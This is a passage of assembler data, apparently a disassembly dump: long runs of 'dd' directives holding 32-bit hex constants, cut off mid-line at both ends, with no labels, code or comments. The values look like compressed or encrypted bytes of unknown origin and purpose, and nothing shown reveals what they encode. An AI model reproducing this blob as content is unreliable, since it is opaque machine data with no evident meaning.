93BAB94h, 0E4680660h dd 0C037325h, 0D7D4288Eh, 16F4B08Ah, 781C00C2h, 0AD96F03h dd 3C27B291h, 485C68A8h, 88C68286h, 0CF32800h, 17FF251Ch dd 75D6F802h, 0EB9B00F6h, 34051A0h, 8B58F14Bh, 8C19B8ECh dd 615DE100h, 0E241D244h, 0A0044D43h, 30550503h, 8A9831ACh dd 0DAE67AB1h, 1398DB49h, 20906192h, 0F62D650h, 7CC4C21h dd 0E4D1E7C9h, 3EA6069Eh, 0E546DF03h, 0AB70C785h, 6BE78A98h dd 444295Ch, 0FB105F00h, 863C6DF1h, 0D5B602E6h, 443D3B5Ch dd 8FC0E84Bh, 0E116AD0Ah, 0C00895Fh, 7A93B0D2h, 3FA901D4h dd 0D1E8CBF2h, 606E2F9Fh, 81316400h, 72A401F6h, 69E1EB00h dd 9F34AB9Dh, 0A2DD04E9h, 8223E27Fh, 0F8819CD8h, 2F14E6D6h dd 34B29813h, 0A3001B2h, 0F43A0129h, 0DA78A606h, 31704C33h dd 2AC3C00h, 77154D4Bh, 0E291122Bh, 403CF004h, 0DBA7280Fh dd 463AB76h, 0DA60CBDCh, 0E3105A3Ch, 0CBB0A3D4h, 0D9043CD8h dd 91F1E109h, 8E9E34FCh, 0C0538FA2h, 7B03758Ch, 9CB2EC1Fh dd 8002035h, 0C437D53Bh, 0A84DFEEFh, 0BE2004E0h, 206713D0h dd 1ED66438h, 0C46EB227h, 0EC37648h, 8118DAB5h, 8A527A80h dd 0DD00DB28h, 0A7F191D7h, 3C1546CFh, 9C54E268h, 340B510Eh dd 0CDC28C00h, 0B779738Dh, 0F09F0CA1h, 0AFDFF806h, 98F31D00h dd 0F0CC775h, 3CC90F0Dh, 43C0D79Ch, 0D404B261h, 1195E1FEh dd 3C305D94h, 440F5E30h, 6F81C8h, 65AE570Ch, 0ED00B1Ch dd 2009432Fh, 0A9425850h, 49B2E908h, 42810C1Eh, 0B3F412E8h dd 0B938253Eh, 3C686294h, 0D38F211Dh, 94A2056Eh, 0C0358F1h dd 4DCF0223h, 0EAC42136h, 187C5842h, 0B3B70B40h, 9FE60E33h dd 0F0A1B9F2h, 0C8904EEAh, 8E0C1B64h, 0D0301310h, 5E0B0047h dd 48860312h, 0E61A7F05h, 409871AEh, 0F020E3F0h, 38656A62h dd 74A80335h, 0B8237CDCh, 3CE40051h, 9D84E344h, 4860949Dh dd 0E7014CC9h, 165A3F04h, 0D5FFD8BDh, 996FB200h, 3B5B0C53h dd 2851741h, 10582FE5h, 0A5C0658Fh, 0B0B30BD4h, 684B884Eh dd 0F1CC51A3h, 25C1816h, 0A6782C96h, 68766E97h, 0E449140Bh dd 445320B0h, 0BD91A0B6h, 0C840CB4Fh, 2D95C01Dh, 0E9EC5161h dd 53C5124Ch, 41653A34h, 0F5881D3Fh, 0FABCB04Ch, 0A5E70B3Ah dd 40F4CF1Dh, 0B2460F02h, 7CE05458h, 1000808Ah, 71BA1C05h dd 74F8B449h, 0AA000146h, 6A38F528h, 52C7DB6h, 0E41180C0h dd 9702DB02h, 0B050F182h, 0D4953Fh, 236E13FCh, 0F1041488h dd 2B2BAC4Dh, 16237Ch, 7638F8F3h, 0C4055D36h, 9CCBBE49h dd 0C8AAE440h, 90C0DC3Ch, 309F2DF4h, 0D44C04A5h, 0BCFCA854h dd 2E018C1Dh, 0DAB3150Bh, 48B98237h, 49E33F96h, 6090CCF0h dd 1500D7F1h, 8881D5D8h, 1EA67601h, 5FDC7C25h, 904D53D1h dd 3E7303E8h, 4CC8A907h, 77406031h, 4EC76164h, 0FD4CC02Bh dd 14098B7Ch, 1F4EAEFFh, 82191144h, 81E615ABh, 3C5BD178h dd 0E30421BCh, 0ED6C3043h, 1B2150FCh, 467CBC9Eh, 1E1D0013h dd 29A9A0F6h, 11F3128Ah, 82A89504h, 0C4AC8F40h, 918163F0h dd 5F354180h, 4651FC7Eh, 811C0B76h, 1C2CD0F8h, 84250808h dd 0A0E716CAh, 4B06AA34h, 61AB06D0h, 12900310h, 8B410229h dd 0DF655AB1h, 0AC2831F0h, 8EFC12BFh, 57BA0284h, 1818908Fh dd 0C7464AC7h, 796FB2B0h, 16596879h, 60B07E18h, 0BE41F12h dd 0C7A09CA7h, 66790C56h, 19E30F01h, 12309A42h, 37A3FC50h dd 6B60BA43h, 4CD05C49h, 91707F50h, 9940F537h, 6BE0580h dd 4B825E5Dh, 7C500F90h, 14B28A16h, 4C88050h, 8CC66162h dd 1B753240h, 1891B8E4h, 32C028A4h, 2640BF4Dh, 9F9811E1h dd 0F6542430h, 0FB8A1A09h, 50C11C5h, 0B26C166Bh, 3097F2E0h dd 0BC004ABDh, 43FA29E9h, 0F6340Ah, 0CA5E1646h, 49446153h dd 0C6304148h, 27078F5h, 0ABD43113h, 58FED83Ah, 0D78A804Eh dd 168207h, 0FD494D5Dh, 68C2C819h, 0AB469E09h, 89546B41h dd 96EF31Fh, 0F8DCAC64h, 0E8A31A60h, 0E37A0452h, 0E86426CBh dd 84445278h, 0D0203467h, 449E5716h, 0C9287028h, 2A30D8C0h dd 7B68718Ah, 0BAE2004Eh, 0F4CEB832h, 0BF0039B6h, 3B879724h dd 9A58CA3Ah, 0D0F49990h, 2E860357h, 9349907h, 1C00602Fh dd 9FC0130Ch, 0DB694184h, 0DC059100h, 0AC8D43E2h, 0CD4B0455h dd 903F0641h, 0C53914C0h, 0B8D2D05Eh, 0F1F079CFh, 0F761C1Eh dd 268101CCh, 3E30C7h, 0B42AE879h, 0C1956180h, 987D0361h dd 6C872A8Ah, 6CF0D574h, 9E74BE2Ah, 0B5C4C16Ah, 0F0A0D156h dd 532EE9DFh, 8515FC4Ch, 9E4D05A0h, 0FCD01314h, 45D0601Fh dd 0ACB83C71h, 24336h, 182A9F9Dh, 5F4F8FEBh, 0D864D062h dd 0CA00DD22h, 0DE81B687h, 1365268h, 0C45F092h, 0AE60CBD3h dd 6DC3849h, 2C9BE8C4h, 3498C802h, 8BFD8941h, 7FE2EC00h dd 40919A5Ah, 12135F97h, 0A4CF7DBAh, 0E45C1760h, 93E51744h dd 32A480C8h, 55165428h, 4E243C5h, 27D5AA03h, 0D2B01EC0h dd 62272D2Ch, 0DCA8E216h, 1C465E6Ch, 0CE2BC800h, 0AC4FA961h dd 6A36B812h, 0B2EC2880h, 9001B55Ch, 79CBCDE2h, 62F9008Ch dd 749C2A52h, 78BA0735h, 0DE0A77C6h, 38A1CA89h, 0D4ADD9FBh dd 0DF0C6CA3h, 0D8507D43h, 1C1E0D89h, 2B29B630h, 9710B02Fh dd 0E663C064h, 1FEFF2AAh, 0C429D976h, 4260CA39h, 0C04E6F6Eh dd 4DB93Eh, 42D1B356h, 39BCC87Ch, 0E3606100h, 8EAA5D6Eh dd 963A0249h, 0E554D5F9h, 0C4A5DE85h, 34E21230h, 0F46AAADCh dd 484F5500h, 41E6104Ch, 0EB12FFF2h, 0DCB023E2h, 0C9885FB3h dd 0AE74F06Ch, 27C9E700h, 9D48BC9Ah, 6400BFC8h, 3E26D352h dd 6B6C9101h, 61CBC26Fh, 0D7973980h, 71FC8B7Dh, 0B1BB9F00h dd 99578F95h, 9D631850h, 0BAEB2854h, 3009985Ah, 20168EE4h dd 0A16336D0h, 8698FFh, 59C04407h, 51C93DFh, 4C0F78D2h dd 0B0878DB7h, 21A24423h, 77BC30h, 2AECF81Fh, 380AEBB9h dd 8E89CEh, 8805208Ah, 27109055h, 1C235678h, 6D88734Dh dd 13004514h, 48AE97E9h, 538CB3h, 7CA6AC43h, 6DBA8F71h dd 851EA63h, 2D0DE7Ah, 1EF624AAh, 40C626B9h, 0BE080B5h dd 41071FFDh, 7F77F0AEh, 34205E4Bh, 0AB643090h, 8F0AB08Ch dd 0C35F5E4Eh, 0DDC18ECCh dd 0D4417BBCh, 7F780B2Ch, 90D8303Ah, 434A3320h, 0AB58B05Eh dd 9FD72859h, 4BB2DC03h, 546985FAh, 9E518CEh, 7CE3453Ch dd 0CA9330C5h, 0CE51A000h, 0E6CD1766h, 2EE34A99h, 9C2348h dd 11DD30B8h, 3EE201D3h, 0C4D98A27h, 0BA370094h, 0F17AEB3h dd 3E002502h, 5A0C7F26h, 1252ED4Ah, 729E272h, 7436C6A2h dd 8810A86Ah, 85BA5A4h, 0E1BB70h, 9C1960F5h, 0EFA19EF3h dd 0E7D7650Bh, 6668C88Eh, 8219540h, 46331C6h, 0C5F52C81h dd 216CDC2Ah, 0CBE610A1h, 0A3E5E109h, 585024h, 1B8FEA32h dd 1412E28Ch, 1C88804Ah, 0B4740DFh, 97E5704h, 70AC11D2h dd 0CD0BF020h, 0C455CE43h, 0E37644C8h, 82E70418h, 942AA29h dd 946EC49Dh, 8E57C1Ah, 0C0671BE4h, 8F4F691Fh, 0CA619E04h dd 0E8B28B06h, 7400492Dh, 1C6573D1h, 3C983775h, 5A86DF20h dd 61048C8Dh, 0CCD13C16h, 42F86CD0h, 90ACAAC7h, 2D6059Ch dd 5EAB3E9Bh, 90F2EAF0h, 0E5583102h, 7044CD48h, 75432FD8h dd 2DE39420h, 0D71C9BDEh, 0B2406104h, 0E175BACDh, 7C5C48DAh dd 38C33E8h, 552DF7C2h, 2EE07512h, 1576387h, 90B3A3A4h dd 1C46F5Fh, 31AD5E52h, 6B93F4D9h, 4B87C84h, 0C8BC1EDh dd 0CB41D24h, 13BCC063h, 7195696h, 0E0F82F95h, 0F86DC51Eh dd 0E8D4047Fh, 0F9025CA3h, 74BD0034h, 525165E3h, 137C7405h dd 0E303A83Dh, 3094B244h, 0E301DFA1h, 6448D120h, 0E83343D7h dd 0B6301BF2h, 33EC00D8h, 235F836Dh, 795F3BE9h, 9A97F844h dd 0B0047895h, 3D09B018h, 465E707Ch, 1BC41818h, 80179060h dd 230137A3h, 656D7215h, 43FD8FFDh, 0A423F871h, 0C0359B1h dd 1F28E8C4h, 28A2627h, 1C2B387Bh, 87B4A6D7h, 0D0685AD9h dd 8AB58580h, 8362AC00h, 0AF99C695h, 0A79D01D6h, 0E490307Dh dd 0F0223E89h, 0E9522068h, 0D0FD0253h, 1D9746A5h, 22F8844h dd 734F4E60h, 0E7F4E5h, 0FE082D57h, 6483188Dh, 0CD958490h dd 603344C8h, 5805EAC8h, 0D0068A91h, 586B2FFEh, 0AF60E250h dd 5E614940h, 32A8D1CDh, 0C7CFDD8Ah, 8948E805h, 1448A4E8h dd 980BBA7Dh, 8741D72h, 0AA7FC88h, 54E389h, 0AFB1270Ch dd 10C05146h, 904A8FACh, 0F0405ABAh, 0CF18E2D4h, 0BE3168CCh dd 617276h, 0C1BB2F6Dh, 46A19C8Bh, 0DA58E525h, 278B0C8h dd 3E2B8621h, 787A9564h, 53E038E9h, 230E120h, 6474EF0Ch dd 1F63B600h, 165F4D91h, 0E63E022Eh, 62CF309Eh, 32A8225Dh dd 48140102h, 0DC9E2A80h, 4261E180h, 0FC00F7EFh, 8E845B76h dd 966C8F10h, 0BED18944h, 0F4A85Eh, 0DDC1B5F9h, 73249B78h dd 38C497h, 7C2DEE44h, 0BDCBF0E5h, 0F6F0AAh, 7B0F0510h dd 0ED921F20h, 447C201Ch, 3401ADABh, 38953E82h, 0B031CCE3h dd 0ED807078h, 694A23F1h, 0F134471h, 0BD0F0B37h, 9E895F40h dd 6EA09103h, 0B0E06ACCh, 7C0C0BFCh, 2C04E118h, 0C052EA30h dd 1450946Fh, 260091E8h, 15D4058Ch, 0C434BCCEh, 88888A07h dd 9C749047h, 5AE58008h, 0A581F06h, 400480A3h, 231CA4Fh dd 483FAA01h, 8CF038CCh, 4E2A5918h, 32A88814h, 10E3F140h dd 2FFEF49Bh, 1354E151h, 74B33A00h, 88D96F0Ah, 574058ECh dd 904994E9h, 0D08653D4h, 50625C10h, 829D3644h, 0B7133CE8h dd 0DDAC8094h, 42581E91h, 91CC9795h, 41D58001h, 19267AAh dd 5DB5193Ah, 6CC964ADh, 0F1918144h, 74680E2Fh, 54BEFB00h dd 0A53234ACh, 6777C617h, 9C23500Ah, 610F688Ch, 3C6A03F4h dd 0FBA46CE6h, 0FCC1B6E8h, 0E911A814h, 0C80D26A8h, 5FE04680h dd 0B7F697A2h, 87FA7402h, 0BBB1CCA4h, 1C23C03Eh, 9FF82C00h dd 0FDA3E913h, 38256468h, 0ED950C72h, 0E9D4C0D8h, 85B7B1C0h dd 6CB80BC8h, 1F6A8200h, 43BCCA08h, 0EC93E316h, 0BE63C0E0h dd 0DAB284B8h, 70F4B9FFh, 0E400CB5Bh, 8056BD0Eh, 93E60BC4h dd 287E11B8h, 461139Ch, 8BC3FFh, 0F4292C3Bh, 319C1559h dd 0C91FD488h, 1230046h, 0B43F55F0h, 2700B95Ch, 0F28451D4h dd 0DF9D30B8h, 6A271A12h, 0C7C934ACh, 465EB47Ch, 49320B1Dh dd 590803A8h, 0A018C8FAh, 8462241Bh, 113D0014h, 0CEDC04ABh dd 0C0A3BC02h, 57C8864Dh, 3090848Bh, 682D12ECh, 898CFB8Ch dd 0C02066CCh, 7ADE6B15h, 3674C30Fh, 4B01E08Ah, 5043E2EAh dd 12CAC012h, 0A3621FFEh, 301DB2D4h, 4502A6F8h, 0DA91C6FAh dd 0F94FE8Bh, 5F0C88DBh, 835A6189h, 0EB95EC5Fh, 0CD127CE0h dd 54CC5243h, 8029D6EDh, 0F740AB3Ch, 1B989101h, 1E529705h dd 2CC027Ah, 0B0F6AF2Eh, 40F4E500h, 9212977Ah, 52CBE14h dd 0F0C5FD93h, 6B74C6D4h, 4FE71F88h, 0E0688849h, 402ACC89h dd 0DCC7F3F4h, 0FE07A105h, 3EC406A6h, 3D54DB31h, 38CD02Fh dd 234B9B1Fh, 0A600FCB6h, 0D785290Dh, 1B021847h, 5175A90Ch dd 1B8DA2Ah, 0E09570ACh, 606252A6h, 0D092FFDh, 8F48857Ch dd 563A88Ch, 8813BAD5h, 80E52ACCh, 8AD0C241h, 16855EBh dd 400615E5h, 258830BAh, 0D444CEE8h, 0F189D300h, 99ED69B7h dd 602C0010h, 444807D5h, 2701D84Bh, 652B352Ah, 206CB4B7h dd 0A5051412h, 93DAE800h, 1A686A9Dh, 901755B8h, 50801691h dd 62E58EC8h, 0C20020B7h, 31B996Eh, 247F6B18h, 2EE233F5h dd 0C8864844h, 0BA0FD000h, 2BC0B87Ch, 277F09B5h, 0B4508E62h dd 55E54709h, 0CB4004E0h, 0C610C8E2h, 5133C945h, 1812F194h dd 61C64C8Fh, 139CFC74h, 49ECA3E6h, 3C5E3E50h, 1F1646D6h dd 3680A713h, 0E972B0F2h, 0DF740024h, 83C81991h, 0F707C509h dd 0A3E8B6DDh, 8CFCAF94h, 465B3709h, 1C97C854h, 0EDE77490h dd 0C68B80BEh, 31B97231h, 2E3A85D4h, 2361058h, 6F6A7BC0h dd 50028106h, 2337AC97h, 0CB08E8B9h, 89AA405Eh, 594D8A30h dd 0B137D7BDh, 42320530h, 5BECA2D1h, 4370082Fh, 0D96E008Bh dd 0CA5EE22Fh, 55A1020Ch, 1043E6ABh, 0CE80984Bh, 40040DD1h dd 7FF10814h, 0E702D801h, 8027ADAh, 0A9F43076h, 0A044ECh dd 94EB3A2Bh, 5FB94D7Bh, 0BB06EA1Fh, 170D3F45h, 122A80C1h dd 30024192h, 0D0BB0C50h, 8ED404B7h, 18A2A0F6h, 4C4F6430h dd 0A22C0F7h, 35B15E01h, 270C7DD0h, 0AAD9B0EBh, 54730734h dd 146802E0h, 0A478B42Ah, 60124C01h, 30B291FFh, 0D30FA838h dd 4868FCDh, 800A951h, 87FED647h, 0E6103Dh, 5348F8FCh dd 911C6DABh, 7A04C275h, 0CD5CD901h, 0F90432EEh, 6B1248DEh dd 0B6B248B0h, 0C7A5EE64h, 9EB05627h, 1C3B2968h, 0D8A07B16h dd 5CD44964h, 0ECC2772Dh, 49A4A15Dh, 0EC380EEFh, 0FC5174D4h dd 5208C03Eh, 0FF291F04h, 0A8A738EAh, 580BD0D0h, 961CDE8Dh dd 0F40A3C6h, 0A904B277h, 1A4450BEh, 0F902CBE5h, 0B38E1589h dd 0C450F30Bh, 4CA0E1D7h, 72C95B4Dh, 257F3DA4h, 0C810E40h dd 204B8C6Ah, 0A837EA08h, 3E273084h, 5CC20B1Fh, 0B80AD0F0h dd 0A860293Fh, 8A947021h, 0E1E83090h, 1366F403h, 0C09C9D51h dd 8C37054Ch, 120DA8A8h, 0B04BFB5Fh, 54CC10CDh, 2C270077h dd 472A1A55h, 8E2EE09Dh, 4008C0ACh, 0E8521369h, 45353934h dd 6AFFA4EBh, 0DD37070Ch, 56E0B191h, 0F658E97h, 0CDD79953h dd 0AD50D260h, 473A0924h, 0C20B80C0h, 0B756F87Fh, 20906742h dd 5841F065h, 0C071D05h, 0FB91AAEFh, 0D40CFD7h, 0C01134D6h dd 0FC4D6A71h, 0CD004E63h, 53F67B02h, 72D7CDFh, 11C80A74h dd 91D4704Ch, 5102E30Eh, 3B907345h, 808E167h, 0B280202Fh dd 0DC8293BCh, 0DDB84050h dd 8558F316h, 12D8005Ch, 0F19D5A0h, 0FE5200ACh, 8DFD54AAh dd 0FB2DCA3Ch, 5D8CD9D3h, 73714783h, 0AFC9836Dh, 755F2141h dd 7CD432E0h, 4ABA3174h, 8CCCCF10h, 3042A720h, 185B63F2h dd 2819B70Dh, 4B20C6AFh, 683C098Ch, 0FA635828h, 1826D020h dd 18A18B30h, 10C4625Fh, 0F068A72h, 663138C7h, 32081801h dd 0BDB46401h, 103F3140h, 0FF03F81Dh, 36F26118h, 0C6BFAE08h dd 404F1D18h, 6109F933h, 0EE1818C2h, 2D982843h, 0D57E18C4h dd 1013EC06h, 209C4631h, 40031070h, 9BA02918h, 0C6E8BF18h dd 103D1730h, 31E9F320h, 4C281FC3h, 67CE0166h, 34090888h dd 3AD19C18h, 0B6C8040h, 0F92D10C6h, 0F4973140h, 1EAEB08h dd 20950339h, 9619B8A2h, 9550A111h, 19D46208h, 4130EBE6h dd 0D8B6E057h, 0F58B3110h, 3FFC608h, 4B6910A0h, 0A8FC2AF3h dd 96911D63h, 2E1018C5h, 38E96049h, 5A9F18C6h, 0D1F26510h dd 0C6944634h, 683130AEh, 1D8E08D2h, 11DA1898h, 30C690ABh dd 6510FB18h, 462909F0h, 302AC690h, 0D291C463h, 2B18313Ah dd 8CB58C71h, 1052E118h, 856669Bh, 2731599Ch, 22551029h dd 0B379088Ch, 9E66F830h, 3171AF20h, 0E08F67Fh, 0B18888Fh dd 1C5A0CC0h, 61C47838h, 490448D0h, 0C06C0A44h, 10B1C99Fh dd 0A6075BC8h, 5A490815h, 0F2331008h, 21B11F32h, 64609CA2h dd 7F072603h, 0BF1A4008h, 650FE0A8h, 8C8208C6h, 90CF4930h dd 8ED5F19h, 9442425h, 0DE20C092h, 0BC705445h, 0C4605456h dd 24A581E6h, 8966C3D8h, 2AA1EF38h, 6388A20Ah, 971082Fh dd 1920C154h, 0FCA6E9C6h, 2EB83148h, 1213A28h, 9055203Eh dd 0BC9D7844h, 913AA04h, 48D82235h, 67860214h, 100DF703h dd 31423D10h, 1037C951h, 8C0AC701h, 20979908h, 312092F5h dd 0C0109816h, 94780124h, 8110E903h, 9510EB52h, 0DCB12A1Fh dd 0F6993E66h, 29A76361h, 826BB7Bh, 1B8C1CE0h, 66912031h dd 71970816h, 0C8C8E932h, 0CC4A4FEh, 49BFA892h, 0B051AEDCh dd 8882343h, 0AC0F2720h, 0C8CC89A5h, 17C8715Ch, 7D26168h dd 814C8AA4h, 80D01840h, 0B5CC9A10h, 20562EEh, 3FAD0316h dd 0FCC82241h, 8B006765h, 0A6A40907h, 0F6430Eh, 8ED8DFCh dd 69579068h, 0C0593AF1h, 11E0243Eh, 3C55012Bh, 4030727Dh dd 441FD496h, 70045A01h, 2F9D2A88h, 6AFB3080h, 0BDEFD4BFh dd 0FC894E06h, 11C322h, 50C1419Bh, 0CBCAE78Dh, 7F02A7FEh dd 0ABB66865h, 5154E049h, 0DF543C04h, 5F3C5E1Eh, 8293F806h dd 0CC8CB43Dh, 7800784Eh, 0EDDC5A43h, 62E70787h, 0C048CF7Eh dd 0F1B17359h, 0A0646841h, 80B8BC3Bh, 4CE9247Bh, 475BE3A4h dd 62C83091h, 7029BC4h, 48808EFh, 0C57747AFh, 8E3C0D43h dd 9481F668h, 478F9E2Ah, 75D7D0C8h, 0E3F66BC6h, 5DA3B400h dd 54F2419Ch, 0A07A079Fh, 8090707Dh, 94D54207h, 5014E99Ch dd 62D30BC8h, 0F02C5835h, 4F2F18FEh, 77377045h, 0AADD4004h dd 0EAA2CBh, 0C23F9E0Ch, 0D3E3107h, 0C0B414D0h, 5FE401A0h dd 0E506BADCh, 0E10EF438h, 0C6206F7Ah, 0BD09693Dh, 2040A30Eh dd 68083EDh, 5150001Fh, 0CF9546C9h, 1574D6D3h, 40C785E4h dd 0D1B06882h, 267A83h, 0AB536F11h, 0B2618FCEh, 3B21BB00h dd 49FC50CAh, 42FE03E2h, 48C44CF3h, 0D1DEC3AFh, 86E5983Ch dd 78FCCBA3h, 86520670h, 0F0101164h, 0ACCC3C00h, 0CE463E0Ch dd 12B2B0A3h, 801A5430h, 838828E0h, 9E2D6600h, 0E5E9D37h dd 0DB3900C9h, 0E4D55743h, 0FF03E210h, 3CF19071h, 0CAC5C0E3h dd 59200037h, 0ECBE5266h, 0DD096AFFh, 2A497E2Fh, 0E8275850h dd 18A41C68h, 0A06B62CBh, 85078EAAh, 59D09E09h, 10880DF4h dd 0E4634B82h, 5706E680h, 0BECBDBE7h, 2B4C03E9h, 0A1F9E57Eh dd 2767488h, 7142090h, 3CF4C26Ah, 0CEC389D2h, 0FB441087h dd 944A023h, 40A41515h, 2A823C9Dh, 89033884h, 22BBECh dd 823E9D18h, 71233951h, 206D90Ch, 4068ADh, 1FC4A31Bh dd 6EE0FF37h, 3CB0F0Ch, 3084E042h, 0CA587B01h, 9C480993h dd 0D4905Ch, 45B7AA25h, 603106F4h, 62DA50D6h, 0D8A0AE04h dd 48058768h, 0B654B37Dh, 9341EC04h, 0A8B17601h, 0B08824E1h dd 9B3E6700h, 0FC72C2B6h, 0A380027h, 2B8B6F97h, 0A67D4CD6h dd 98A09CA2h, 0CEB11B1Fh, 8BCF1303h, 0F8630843h, 3C477FCh dd 7069C4Ah, 0B9068871h, 0B833CB5Ah, 56700040h, 30B008B7h dd 510A5F2Ah, 905CCF03h, 7F0EB421h, 9F6F411Eh, 8C3CE1CBh dd 7D84CD3Eh, 90234FCCh, 57A42404h, 48F7030Fh, 6142E363h dd 0F990906Dh, 0CA48DE4Ch, 840A40h, 0D8F6E6BAh, 0DF4C2891h dd 2E87107h, 770C104Ch, 9AFD8A40h, 55E5208Ch, 946F803Dh dd 7ACDD61h, 94A56B82h, 0E315AFB0h, 180D6FC2h, 753962E3h dd 0EF246800h, 0EA21CD4Ah, 0FDBE03C1h, 0D29CFBCEh, 0CA6201A1h dd 411FEC76h, 18788514h, 4971E463h, 62B80751h, 89024272h dd 0DC4C9607h, 3248D2B2h, 98909268h, 4975C92h, 0E769CBADh dd 7238D07Fh, 161FDA0Ch, 9870DF63h, 3130210Dh, 0FBE8B570h dd 77642222h, 0C8C47479h, 8092AD90h, 78DC02B3h, 53A70F0h dd 26AC4DA0h, 911FC4E1h, 84A0E714h, 0A307A71Eh, 66C81072h dd 560F3475h, 61763AFh, 1211743Eh, 2B50CBAh, 800A8444h dd 0E92FD900h, 778A0451h, 0EBE50724h, 37D39C07h, 0E7A899F0h dd 972124CBh, 229D135Ch, 0E4A7E0F8h, 0AA03AF90h, 10092D12h dd 0C0E8649Fh, 251C7DA8h, 64D08D30h, 0A058CE34h, 48E44CCCh dd 0CC81DC01h, 7F7008B3h, 62274041h, 0A040C4A0h, 2689E356h dd 0A6906104h, 0CEDBC044h, 0A4F00B59h, 0E59A6118h, 4868EA4Ch dd 899F5C79h, 0A01BB9A1h, 0E08278E2h, 0A88EE440h, 8450A981h dd 9E8C2009h, 30CB6044h, 0A838DAB3h, 0CC187B92h, 0A310FF5Ch dd 963F2430h, 0AD4E405Ch, 68121802h, 0EC24CDABh, 2136D003h dd 0EFDCB954h, 7B3BEC41h, 0BB193C22h, 0DC5DE0B4h, 20C00C7Ch dd 28247437h, 1CD0E04Ch, 0C143C90Ah, 0CB9C3B9Eh, 0E80C6587h dd 3E3E5188h, 4184C906h, 0CAC08D8h, 0CCE11103h, 9CEF7CBh dd 4F486FB0h, 0E8B7C00h, 0D6003E16h, 0B44CCFFAh, 4D834032h dd 0CA28BC9Ch, 170718C0h, 812A1098h, 791EB0B2h, 3A0967B8h dd 0C2C8A01Bh, 1F2411A6h, 14870B64h, 7A0B9C7Ch, 0B88075D6h dd 2E86B36Ch, 312A54FEh, 793B8C2Fh, 0DFA502FDh, 9020AA5Ch dd 8061E2BCh, 0F071C2FAh, 0CEE51E01h, 5565FB86h, 75D4588Ch dd 0C90070A1h, 0F4D07E64h, 4D2ECC7Ch, 0BC014C0Eh, 6E0358A3h dd 0ADC089EEh, 0D84C0104h, 0FC26C902h, 0AD4EFE64h, 2CB424BCh dd 91B002E7h, 3C62E63Fh, 4C7C412Ah, 216F08E4h, 0D054C945h dd 4342DD90h, 69EAEC00h, 9C089590h, 5E573030h, 0F27DE0D0h dd 67FA1109h, 2A54A04Bh, 28EB8946h, 3E865D6h, 68CD59E6h dd 7C8712B2h, 0D205B129h, 0D1CA3DD0h, 729C00BAh, 772C9ADFh dd 94983013h, 496A2840h, 10B27409h, 0A17D06h, 9A08BBCAh dd 0A6326330h, 7D9003E0h, 0A9DB8409h, 96C294Ch, 98FA26E7h dd 5886CD4Ch, 0E058DC7Dh, 0C702D680h, 0D913419Bh, 9402F8FEh dd 9448D855h, 1FE7208Ch, 0B323D63Bh, 6E84Ah, 1B8B0B21h dd 0B4467DFEh, 85E6E901h, 14E8CA7Ch, 40912C70h, 0C8F5876Fh dd 302E8F96h, 0AABC44B4h, 0A3EE34E3h, 22189898h, 6010633Bh dd 0E048FFE3h, 1F3607D6h, 0BFE269D2h, 8599D91Bh, 0E5F89C15h dd 2A04D824h, 5302ADFEh dd 0D45C6ACBh, 47D09C00h, 24300DEAh, 0A45CBCA1h, 955285C8h dd 1568C087h, 0ED58B124h, 83E44C58h, 81602Ah, 0CD27130h dd 0CEC17856h, 4A45F500h, 0C962C24Dh, 0F609426h, 3F09D753h dd 47268478h, 0CB0948E5h, 3B58A178h, 48DAA3AEh, 81384A44h dd 0FA808A8Ah, 4B43D828h, 0EE24D0EFh, 0ED89174Ch, 0CC7C54AAh dd 0FC62BE00h, 37E988B7h, 0AC0C0A50h, 1B147A1Bh, 224CE230h dd 5DE04BF7h, 0D3170307h, 0A5183075h, 13EBCAD0h, 3539C7EDh dd 83BC98E0h, 0CB28EF60h, 3DFB1937h, 6189E455h, 0B0D83662h dd 7EF31E03h, 0C2E366AAh, 516CC20Ch, 0FB8BBC54h, 0B4C1B32Fh dd 0E69889D6h, 0E55C1A78h, 90C81A34h, 40F8D261h, 0BA6BABECh dd 536388C3h, 5B783B3Fh, 4026F197h, 0CA013B24h, 0EB03E534h dd 98D8E20h, 0CC9ECCFh, 9878C5C4h, 0D6CC0060h, 0FD0BD8ECh dd 0CB6040C7h, 3151ED11h, 68AE6099h, 0E75F91DEh, 4E28FC02h dd 0E837262Ah, 0FC5827A4h, 3FCB10D9h, 0F48B0317h, 938FEDD5h dd 503902DBh, 40C82CEBh, 84CAC99h, 24E490B8h, 3004BE3Fh dd 46115D39h, 0B4D1CB26h, 61EA6000h, 785595D5h, 6E7000C9h dd 59A2FD42h, 0CE65C603h, 30023CF9h, 21471257h, 0B8E7982Ah dd 33C217C8h, 0E402B41Fh, 6EE3D557h, 28E66578h, 0DFC80501h dd 90F888AAh, 0EB005341h, 1C453947h, 39E8E7EAh, 45F01F4Bh dd 0CC2DFA29h, 0D640D37Ch, 90EDF4D4h, 187F6281h, 2F0B147Eh dd 5DE30978h, 0D3D2A801h, 0A4B0705Ch, 78ABA902h, 0CAF4664h dd 1C60B97Eh, 0EC34D838h, 6D620635h, 78DDF60Bh, 0AE4A9E03h dd 0C25C4F12h, 55088075h, 9BAA3B6h, 4D1330A0h, 87D2E8A4h dd 1031A67Ch, 50CD4000h, 6803F83h, 90736038h, 0E7089BD1h dd 4C62250Bh, 0F9102530h, 481FC3F8h, 7D61CC13h, 0AA32CCA0h dd 5C2CE1A6h, 0FAE0000Ch, 12F0A4C7h, 9914558h, 3E2F24Ch dd 6D4EF4h, 7829E438h, 307031C3h, 907A7430h, 543B639h dd 0B1CBA6EFh, 83A81F10h, 87BD31D7h, 1040ABDAh, 0BE1FBFAEh dd 885430A4h, 0E7AF00DCh, 0B4801E86h, 88B8960Eh, 0E501DFFDh dd 8F2FAD9Ah, 90F0B421h, 0AE18C7C0h, 588B79D1h, 51AB4481h dd 87143C57h, 0ECBA5FCAh, 5E309D40h, 0E820C24Bh, 80A19549h dd 72798A42h, 145407C0h, 98105316h, 0A802CF30h, 59082A28h dd 2D006CE2h, 5865490Ch, 0F101520Bh, 0FAA80F02h, 0A5CD7E7Dh dd 5816DF60h, 108BF4FBh, 3EA05410h, 0C4170901h, 42716350h dd 3149D050h, 76777Ch, 0CE3E69D0h, 0F6B835EEh, 0A162B10Ch dd 0BD41B047h, 10C67C42h, 62C87200h, 0E5F978D8h, 0DAFB0063h dd 9F66AE35h, 7C90248Bh, 81E3C63Fh, 9E4FC71Fh, 49E20630h dd 203A098h, 5DD083Ah, 0BF9E6BEh, 1C31A8D1h, 3FD4E801h dd 81EC780Fh, 0DD8662E7h, 193FB060h, 0E8C49D06h, 369CC43h dd 1001A730h, 9121CCDBh, 0D20BCACh, 1D39B239h, 0CA04B81Bh dd 50B0AD46h, 18042DDDh, 